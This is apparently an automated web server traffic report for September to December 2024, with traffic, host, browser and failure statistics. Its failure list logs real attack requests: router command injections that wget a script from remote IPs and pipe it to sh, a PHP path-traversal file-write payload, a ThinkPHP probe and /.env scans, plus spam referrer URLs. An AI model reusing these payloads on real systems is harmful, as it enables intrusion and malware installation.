Program started at Sun-22-Dec-2024 00:11.
Analysed requests from Mon-23-Sep-2024 00:00 to Sun-22-Dec-2024 00:00 (90.00 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 22-Dec-2024 00:11.
Successful requests: 321,759 (11,315)
Average successful requests per day: 3,575 (1,616)
Successful requests for pages: 295,798 (9,235)
Average successful requests for pages per day: 3,286 (1,319)
Failed requests: 152,522 (10,656)
Redirected requests: 1,115,588 (57,426)
Distinct files requested: 628 (310)
Distinct hosts served: 17,423 (2,275)
Corrupt logfile lines: 3,492
Unwanted logfile entries: 18,551,922
Data transferred: 6.75 gigabytes (227.74 megabytes)
Average data transferred per day: 76.80 megabytes (32.53 megabytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 5,000 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Sep 2024 | 37705 | 33908 | |
Oct 2024 | 170268 | 161089 | |
Nov 2024 | 76499 | 69110 | |
Dec 2024 | 37287 | 31691 |
Busiest month: Oct 2024 (161,089 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 1,500 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
22/Sep/24 | 26132 | 22939 | |
29/Sep/24 | 38982 | 36613 | |
6/Oct/24 | 20818 | 18509 | |
13/Oct/24 | 35679 | 33232 | |
20/Oct/24 | 60002 | 58557 | |
27/Oct/24 | 30940 | 29404 | |
3/Nov/24 | 17019 | 15296 | |
10/Nov/24 | 19855 | 18392 | |
17/Nov/24 | 14730 | 12978 | |
24/Nov/24 | 20315 | 18187 | |
1/Dec/24 | 13993 | 12445 | |
8/Dec/24 | 11968 | 10000 | |
15/Dec/24 | 11326 | 9246 |
Busiest week: week beginning 20/Oct/24 (58,557 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 100 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
10/Nov/24 | 3118 | 2914 | |
11/Nov/24 | 2620 | 2531 | |
12/Nov/24 | 2696 | 2553 | |
13/Nov/24 | 2881 | 2469 | |
14/Nov/24 | 2824 | 2679 | |
15/Nov/24 | 3014 | 2831 | |
16/Nov/24 | 2702 | 2415 | |
17/Nov/24 | 1760 | 1588 | |
18/Nov/24 | 1341 | 995 | |
19/Nov/24 | 2579 | 2365 | |
20/Nov/24 | 2486 | 2246 | |
21/Nov/24 | 2261 | 2057 | |
22/Nov/24 | 2290 | 1962 | |
23/Nov/24 | 2013 | 1765 | |
24/Nov/24 | 2931 | 2676 | |
25/Nov/24 | 2711 | 2440 | |
26/Nov/24 | 3057 | 2803 | |
27/Nov/24 | 3550 | 3329 | |
28/Nov/24 | 2627 | 2454 | |
29/Nov/24 | 2276 | 2060 | |
30/Nov/24 | 3163 | 2425 | |
1/Dec/24 | 2881 | 2663 | |
2/Dec/24 | 1621 | 1347 | |
3/Dec/24 | 2377 | 2199 | |
4/Dec/24 | 1686 | 1496 | |
5/Dec/24 | 1764 | 1589 | |
6/Dec/24 | 1917 | 1798 | |
7/Dec/24 | 1747 | 1353 | |
8/Dec/24 | 1758 | 1408 | |
9/Dec/24 | 1737 | 1422 | |
10/Dec/24 | 1650 | 1465 | |
11/Dec/24 | 1629 | 1390 | |
12/Dec/24 | 1659 | 1357 | |
13/Dec/24 | 1719 | 1336 | |
14/Dec/24 | 1816 | 1622 | |
15/Dec/24 | 1731 | 1324 | |
16/Dec/24 | 1348 | 1140 | |
17/Dec/24 | 1694 | 1202 | |
18/Dec/24 | 1691 | 1417 | |
19/Dec/24 | 1844 | 1527 | |
20/Dec/24 | 1492 | 1272 | |
21/Dec/24 | 1526 | 1364 |
Busiest day: 25/Oct/24 (10,994 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 1,500 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 47709 | 44317 | |
Mon | 35259 | 31933 | |
Tue | 44489 | 41651 | |
Wed | 49682 | 44934 | |
Thu | 44937 | 41151 | |
Fri | 47718 | 44278 | |
Sat | 51965 | 47534 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 300 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 12899 | 11816 | |
1 | 12573 | 11387 | |
2 | 12279 | 11181 | |
3 | 12638 | 11835 | |
4 | 12906 | 11884 | |
5 | 13023 | 12124 | |
6 | 13164 | 12184 | |
7 | 13078 | 12314 | |
8 | 12880 | 11914 | |
9 | 12995 | 12091 | |
10 | 14397 | 12786 | |
11 | 14559 | 13273 | |
12 | 14070 | 12903 | |
13 | 14060 | 12913 | |
14 | 14411 | 12942 | |
15 | 14323 | 13257 | |
16 | 14298 | 13128 | |
17 | 13432 | 12389 | |
18 | 12957 | 12026 | |
19 | 13456 | 12474 | |
20 | 13790 | 12786 | |
21 | 12889 | 11903 | |
22 | 13397 | 12227 | |
23 | 13285 | 12061 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
236261 | 75.90% | [unresolved numerical addresses] |
53413 | 15.22% | .com (Commercial) |
12912 | 3.93% | .net (Networks) |
2964 | 0.97% | .org (Non Profit Making Organisations) |
2968 | 0.89% | [unknown domain] |
5158 | 0.72% | .ru (Russia) |
2546 | 0.64% | .de (Germany) |
898 | 0.30% | [domain not given] |
763 | 0.25% | .nl (Netherlands) |
590 | 0.16% | .br (Brazil) |
357 | 0.12% | .cn (China) |
336 | 0.11% | .name (Individuals) |
322 | 0.10% | .jp (Japan) |
207 | 0.07% | .tr (Turkey) |
189 | 0.06% | .arpa (Arpanet) |
149 | 0.05% | .pl (Poland) |
148 | 0.05% | .vn (Vietnam) |
121 | 0.04% | .id (Indonesia) |
139 | 0.03% | .cz (Czech Republic) |
94 | 0.03% | .us (United States) |
79 | 0.03% | .th (Thailand) |
79 | 0.03% | .uk (United Kingdom) |
109 | 0.03% | .in (India) |
67 | 0.02% | .hk (Hong Kong) |
104 | 0.02% | .io (British Indian Ocean Territory) |
62 | 0.02% | .it (Italy) |
53 | 0.02% | .tw (Taiwan) |
42 | 0.01% | .info (Informational) |
43 | 0.01% | .biz (Businesses) |
39 | 0.01% | .ca (Canada) |
31 | 0.01% | .kh (Cambodia) |
24 | 0.01% | .es (Spain) |
24 | 0.01% | .md (Moldova) |
22 | 0.01% | .fr (France) |
20 | 0.01% | .gr (Greece) |
19 | 0.01% | .ch (Switzerland) |
18 | 0.01% | .ua (Ukraine) |
23 | 0.01% | .ro (Romania) |
17 | 0.01% | .cm (Cameroon) |
17 | 0.01% | .gl (Greenland) |
17 | 0.01% | .sg (Singapore) |
18 | 0.01% | .mx (Mexico) |
16 | 0.01% | .by (Belarus) |
48 | .ye (Yemen) | |
13 | .cc (Cocos (Keeling) Islands) | |
13 | .sc (Seychelles) | |
28 | .edu (USA Higher Education) | |
11 | .co (Colombia) | |
15 | .sh (Saint Helena) | |
10 | .au (Australia) | |
12 | .ar (Argentina) | |
8 | .se (Sweden) | |
8 | .lt (Lithuania) | |
8 | .bd (Bangladesh) | |
7 | .ge (Georgia) | |
7 | .ir (Iran) | |
6 | .ac (Ascension Island) | |
7 | .fi (Finland) | |
5 | .ph (Philippines) | |
5 | .cy (Cyprus) | |
5 | .dk (Denmark) | |
4 | .my (Malaysia) | |
4 | .il (Israel) | |
5 | .ec (Ecuador) | |
3 | .ae (United Arab Emirates) | |
3 | .tz (Tanzania) | |
3 | .at (Austria) | |
3 | .bg (Bulgaria) | |
3 | .tv (Tuvalu) | |
3 | .tc (Turks and Caicos Islands) | |
4 | .za (South Africa) | |
2 | .sk (Slovakia) | |
2 | .hr (Croatia) | |
2 | .bo (Bolivia) | |
2 | .kz (Kazakhstan) | |
2 | .am (Armenia) | |
2 | .hn (Honduras) | |
2 | .py (Paraguay) | |
1 | .pt (Portugal) | |
1 | .lk (Sri Lanka) | |
1 | .cl (Chile) | |
1 | .ee (Estonia) | |
1 | .ma (Morocco) | |
1 | .gt (Guatemala) | |
1 | .pk (Pakistan) | |
1 | .fj (Fiji) | |
1 | .pro (Professionals) | |
1 | .tk (Tokelau) | |
2 | .uz (Uzbekistan) | |
1 | .uy (Uruguay) | |
1 | .ao (Angola) | |
1 | .ps (Occupied Palestinian Territory) | |
1 | .bn (Brunei Darussalam) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
20142 | 6.65% | 196.240 |
18549 | 6.12% | 191.101 |
16476 | 5.43% | 23 |
13788 | 4.55% | 102 |
11818 | 3.89% | colocrossing.com |
10176 | 3.35% | 196.245 |
10092 | 3.33% | 165.231 |
8320 | 2.73% | 45 |
7820 | 2.56% | 43 |
7606 | 2.51% | 196.242 |
7332 | 2.42% | 190.123 |
5638 | 1.86% | 200.10 |
5441 | 1.79% | 85 |
5140 | 1.70% | 63.145 |
4670 | 1.54% | 223.29 |
4612 | 1.52% | 154.16 |
4577 | 1.51% | criticsword.net |
4488 | 1.48% | 177.234 |
4208 | 1.39% | 91 |
3989 | 1.31% | 5 |
146877 | 42.35% | [not listed: 2,243 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
2842 | 0.94% | 5.157.27.99 |
1093 | 0.36% | 23.81.231.90 |
1533 | 0.51% | 23.105.157.3 |
1273 | 0.42% | 23.108.44.252 |
1765 | 0.58% | 45.125.245.127 |
1166 | 0.39% | 45.152.199.171 |
1463 | 0.48% | 45.152.199.189 |
1536 | 0.51% | 50.3.196.217 |
5140 | 1.70% | 63.145.112.90 |
1805 | 0.60% | 85.208.115.14 |
1224 | 0.40% | 85.208.115.197 |
1191 | 0.39% | 91.132.114.69 |
1151 | 0.38% | 91.132.115.182 |
1637 | 0.54% | 91.132.115.195 |
1686 | 0.56% | 102.165.52.160 |
3156 | 1.04% | 102.165.52.180 |
1394 | 0.46% | 102.165.52.185 |
1702 | 0.14% | 153.101.64.39 |
1043 | 0.34% | 154.16.69.188 |
1158 | 0.38% | 154.16.69.220 |
1579 | 0.52% | 154.16.69.233 |
1068 | 0.35% | 165.231.108.184 |
1069 | 0.35% | 168.81.46.171 |
1559 | 0.51% | 177.234.138.226 |
1471 | 0.48% | 185.158.106.46 |
1481 | 0.49% | 190.123.210.75 |
2980 | 0.98% | 190.123.210.101 |
1191 | 0.39% | 191.101.109.27 |
2869 | 0.95% | 191.101.109.29 |
1631 | 0.54% | 191.101.109.45 |
1048 | 0.35% | 191.101.109.91 |
4872 | 1.61% | 191.101.109.108 |
1565 | 0.52% | 196.198.13.110 |
1270 | 0.42% | 196.198.13.145 |
1632 | 0.54% | 196.240.105.135 |
1864 | 0.61% | 196.240.143.39 |
1379 | 0.46% | 196.242.47.207 |
1194 | 0.39% | 196.242.70.129 |
2624 | 0.86% | 196.245.149.243 |
2355 | 0.77% | 196.245.250.166 |
3668 | 1.21% | 200.10.47.154 |
1168 | 0.39% | 209.127.17.155 |
2208 | 0.73% | 223.29.253.172 |
3511 | 1.16% | visit.keznews.com |
2457 | 0.81% | gaenor.griffin.nationalgeographer.com |
2559 | 0.85% | thru-words.regardingto.com |
2066 | 0.68% | 252-219-104-185.static.servebyte.com |
1108 | 0.37% | mail.servisgroup.com |
2795 | 0.92% | papier-native.criticsword.net |
1782 | 0.59% | title-vim.criticsword.net |
226778 | 69.06% | [not listed: 17,373 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists which queries people used in search engines to find the site.
Listing queries, sorted by the number of requests.
reqs | search term |
---|---|
1 | http://www.apriceonomics.com/who invented finance/ |
1 | https://8angkajitusyd.com// |
1 | https://photographybykaymaine.com/dewislot77 16/ |
1 | https://klialimochauffeurservices.com |
1 | https://sungairambai.id/ |
1 | https://totosydkientoto.com/ |
1 | https://openair ent.ru/kak zajti na kraken ssylka.html |
1 | http://www.kenilworthsystemscorporation.com/why do i need a smart phone/ |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists which words people used in search engines to find the site.
Listing query words, sorted by the number of requests.
reqs | search term |
---|---|
1 | ssylka.html |
1 | https://sungairambai.id/ |
1 | https://photographybykaymaine.com/dewislot77 |
1 | http://www.apriceonomics.com/who |
1 | 16/ |
1 | smart |
1 | a |
1 | need |
1 | kraken |
1 | https://8angkajitusyd.com// |
1 | https://klialimochauffeurservices.com |
1 | i |
1 | https://totosydkientoto.com/ |
1 | do |
1 | http://www.kenilworthsystemscorporation.com/why |
1 | phone/ |
1 | https://openair |
1 | zajti |
1 | ent.ru/kak |
1 | finance/ |
1 | invented |
1 | na |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the vendors of visitors' browsers.
Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.
no. | reqs | pages | browser |
---|---|---|---|
1 | 224660 | 211461 | Chrome |
198450 | 197431 | Chrome/114 | |
3409 | 3407 | Chrome/62 | |
3819 | 2187 | Chrome/124 | |
1338 | 1331 | Chrome/103 | |
1155 | 1140 | Chrome/90 | |
1053 | 1052 | Chrome/118 | |
657 | 636 | Chrome/49 | |
291 | 282 | Chrome/78 | |
305 | 276 | Chrome/75 | |
508 | 253 | Chrome/128 | |
2 | 67904 | 67201 | Firefox |
66515 | 66224 | Firefox/114 | |
265 | 242 | Firefox/109 | |
147 | 146 | Firefox/3 | |
68 | 68 | Firefox/84 | |
65 | 55 | Firefox/2 | |
37 | 37 | Firefox/130 | |
36 | 36 | Firefox/x | |
29 | 25 | Firefox/49 | |
21 | 21 | Firefox/102 | |
19 | 19 | Firefox/5 | |
3 | 9713 | 6916 | Safari |
5713 | 5121 | Safari/605 | |
825 | 818 | Safari/534 | |
1321 | 749 | Safari/604 | |
1527 | 112 | Safari/537 | |
55 | 53 | Safari/601 | |
48 | 12 | Safari/602 | |
171 | 11 | Safari/600 | |
6 | 6 | Safari/533 | |
5 | 5 | Safari/525 | |
4 | 4 | Safari/616 | |
4 | 1828 | 1774 | MSIE |
133 | 122 | MSIE/9 | |
35 | 31 | MSIE/6 | |
22 | 9 | MSIE/10 | |
13 | 6 | MSIE/7 | |
6 | 5 | MSIE/5 | |
14 | 1 | MSIE/8 | |
5 | 1458 | 1458 | Apache-HttpClient |
1458 | 1458 | Apache-HttpClient/4 | |
6 | 5723 | 1348 | Netscape (compatible) |
7 | 1103 | 1102 | Sogou web spider |
1103 | 1102 | Sogou web spider/4 | |
8 | 1042 | 355 | Mozilla |
65 | 54 | Mozilla/1 | |
1 | 1 | Mozilla/2 | |
9 | 286 | 286 | MagpieRSS |
286 | 286 | MagpieRSS/0 | |
10 | 269 | 269 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
269 | 269 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
11 | 187 | 186 | python-requests |
187 | 186 | python-requests/2 | |
12 | 117 | 112 | curl |
115 | 110 | curl/7 | |
2 | 2 | curl/8 | |
13 | 107 | 107 | Python |
107 | 107 | Python/3 | |
14 | 95 | 95 | masscan |
95 | 95 | masscan/1 | |
15 | 93 | 93 | Dalvik |
93 | 93 | Dalvik/2 | |
16 | 91 | 91 | lwp-trivial |
91 | 91 | lwp-trivial/1 | |
17 | 54 | 54 | Linux Gnu (cow) |
18 | 50 | 50 | Magellan |
19 | 41 | 41 | Go-http-client |
41 | 41 | Go-http-client/1 | |
20 | 101 | 37 | Baiduspider |
50 | 37 | Baiduspider/2 | |
4473 | 439 | [not listed: 95 browsers] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the operating systems used by visitors.
Listing operating systems, sorted by the number of requests for pages.
no. | reqs | pages | OS |
---|---|---|---|
1 | 163299 | 157256 | Windows |
158859 | 153247 | Windows NT | |
2252 | 2182 | Unknown Windows | |
1681 | 1448 | Windows 7 | |
300 | 229 | Windows XP | |
143 | 109 | Windows 8 | |
30 | 15 | Windows Vista | |
11 | 10 | Windows 98 | |
9 | 7 | Windows 2000 | |
8 | 4 | Windows Server 2003 | |
3 | 3 | Windows ME | |
2 | 2 | Windows CE | |
1 | 0 | Windows 95 | |
2 | 96974 | 90015 | Unix |
96912 | 89992 | Linux | |
51 | 14 | Other Unix | |
3 | 3 | FreeBSD | |
5 | 3 | OpenBSD | |
1 | 1 | SunOS | |
1 | 1 | NetBSD | |
1 | 1 | IRIX | |
3 | 43191 | 40256 | Macintosh |
4 | 8974 | 4442 | OS unknown |
5 | 6946 | 1495 | Known robots |
6 | 6 | 6 | Symbian OS |
7 | 5 | 5 | OS/2 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Search Query Report | Search Word Report | Browser Summary | Operating System Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
51535 | /thanks.php |
13876 | /robots.txt |
5327 | /cgi-don/https3A2F2Fgokcel.online/archives/276/ |
4790 | /cgi-don/https3A2F2Fno-nxmty.xyz/archives/76/ |
3599 | /cgi-don/referrerlog.pl |
1418 | /cgi-don/referrerlog.pl?http://gethuge.net/how-to-increase-your-actions-per-day-apd/ |
811 | /cgi-don/referrerlog.pl?http://archaeopediana.com/user:hyman06z414196 |
79 | /cgi-don/referrerlog.pl?http://seoranko.de |
63 | /cgi-don/referrerlog.pl?https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https/https |
56 | /cgi-don/referrerlog.pl?http://buy-backlinks.rozblog.com/ |
44 | /cgi-don/referrerlog.pl?https://doxycyline.pl.tl |
42 | /cgi-don/referrerlog.pl?http://stapkup.revolublog.com |
40 | /cgi-don/referrerlog.pl?https://loanquotes.page.tl |
38 | /cgi-don/referrerlog.pl?https://satunbali.blogspot.com |
38 | /cgi-don/referrerlog.pl?http://javecas580.eklablog.com |
35 | /cgi-don/referrerlog.pl?http://fenta.eklablog.com |
35 | /cgi-don/referrerlog.pl?http://seofxs.com/seo-training-courses-in-dhaka/ |
34 | /cgi-don/referrerlog.pl?http://elcivismo.com.ar/us/order-klonopin-prescr |
33 | /cgi-don/referrerlog.pl?https://stromectol-16.webself.net/ |
32 | /cgi-don/referrerlog.pl?https://compraraccutane.populr.me/ |
31 | /cgi-don/referrerlog.pl?http://zevaniko.eklablog.com |
31 | /cgi-don/referrerlog.pl?https://amoxil.page.tl |
30 | /cgi-don/referrerlog.pl?https://plaquenil-89.webself.net/ |
27 | /cgi-don/referrerlog.pl?https://adaregil.blog.fc2.com |
26 | /cgi-don/referrerlog.pl?http://miwulazi.eklablog.com |
26 | /cgi-don/referrerlog.pl?https://essaysmaker.es.tl |
24 | /cgi-don/referrerlog.pl?http://night-lady.co.il/girls/%D7%A0%D7%A2%D7%A8%D7%95%D7%AA-%D7%9C%D7%99%D7%95%D7%95%D7%99/%D7%A9%D7%99%D7%A8%D7%95%D7%AA%D7%99-%D7%9C%D7%99%D7%95%D7%95%D7%99/ |
23 | /cgi-don/referrerlog.pl?http://blumm.revolublog.com |
22 | /cgi-don/referrerlog.pl?http://teustups.revolublog.com |
21 | /cgi-don/referrerlog.pl?http://mazaolot.eklablog.com |
21 | /cgi-don/referrerlog.pl?https://articledirectoryproject.com/members/balicarrental/ |
20 | /cgi-don/referrerlog.pl?https://acquistare-ceclor.de.tl |
20 | /cgi-don/referrerlog.pl?http://nfl.eklablog.com |
19 | /cgi-don/referrerlog.pl?http://kartuzi.eklablog.com |
16 | /cgi-don/referrerlog.pl?https://viagri.fr.gd |
16 | /cgi-don/referrerlog.pl?http://walterlay.eklablog.com |
15 | /cgi-don/referrerlog.pl?https://mavog.shop |
13 | /cgi-don/referrerlog.pl?https://loanquotes.page.tl= |
13 | /cgi-don/referrerlog.pl?https://abarkot.blogger.ba |
13 | /cgi-don/referrerlog.pl?https://amoxil.page.tl= |
12 | /cgi-don/referrerlog.pl?http://gumpuino.eklablog.com |
2952 | /favicon.ico |
2317 | /cgi-don/send_postcard.pl |
1652 | /g_book.cgi |
24 | /g_book.cgi?page=20&pass= |
1651 | /x16/x03/x01/x01./x01 |
1409 | /wp-login.php |
1124 | /wp-login.php?action=register |
1184 | /index.php |
231 | /index.php?option=com_easyblog&view=dashboard&layout=write |
80 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
80 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
79 | /index.php?lang=../../../../../../../../tmp/index1 |
77 | /index.php?s=captcha |
51 | /index.php?do=register |
28 | /index.php?page=register&action=register |
25 | /index.php?option=com_user&view=register |
25 | /index.php?option=com_users&view=registration |
10 | /index.php?s=index |
10 | /index.php?title=Special:Search/Apakah_Anda_Termasuk_Pecinta_Binatang |
1111 | /cgi-don/referrerLog.pl |
343 | /cgi-don/referrerLog.pl? https://cutt.ly/Meffo13J |
26 | /cgi-don/referrerLog.pl?/visaform.org/kenya-visa-application-online/congo |
993 | /account/settings/ |
970 | /noflash.html |
801 | /strategie-biznesowe/episodes/Strategia-Biznesowa-dla-Nowych-Wacicieli-Firm-e2ldia9 |
778 | /x16/x03/x01 |
733 | /cgi-bin/luci/ |
86 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.31/t|sh%3B`) |
80 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
69 | /cgi-bin/luci/?form=country&operation=write&country=id>`wget+http://185.157.247.125/e/t+-O-+|sh%3B` |
67 | /cgi-bin/luci/?form=country&operation=write&country=id>`for+pid+in+/proc/[0-9]*/%3B+do+pid%3D${pid%25/}%3B+pid%3D${pid##*/}%3B+exe_path%3D$(ls+-l+/proc/$pid/exe+2>/dev/null+|+awk+'{print+$NF}')%3B+if+[[+$exe_path+%3D%3D+*/+]]%3B+then+kill+-9+$pid%3B+fi%3B+done%3B` |
24 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.99/t|sh%3B`) |
17 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://45.202.35.24/l+-O-|+sh`) |
710 | /profile.php |
313 | /profile.php?mode=editprofile |
157 | /profile.php?%3Fmode=viewprofile&u= |
117 | /profile.php?mode=register&agreed=true&iscanyesno=yeswecan&step=2&coppa=0 |
117 | /profile.php?mode=register |
704 | /products/foldable-treadmill-with-incline-bluetooth-black |
693 | /.env |
657 | /cgi-don/https |
582 | /new |
569 | /cgi-don/https3A2F2Ftoo-tmwg.xyz/ |
403 | /cgi-don/https3A2F2Fprzystanjarnice-liwiec.pl/ |
392 | /cgi-don/referrerLog.plhttp3A2F2Fwondrouslavie.com/sg/renovation-loan-singapore/ |
371 | /ads.txt |
337 | /x16/x03/x02/x01o/x01 |
292 | /cgi-don/https3A2F2Fjg-me.xyz/archives/99/ |
274 | /memberlist.php |
157 | /memberlist.php?mode=joined&order=DESC&sk=c&sd=d |
42 | /memberlist.php?mode=group&g=13%3Fmode=joined&order=DESC&sk=c&sd=d |
36 | /memberlist.php?mode=group&g=12%3Fmode=joined&order=DESC&sk=c&sd=d |
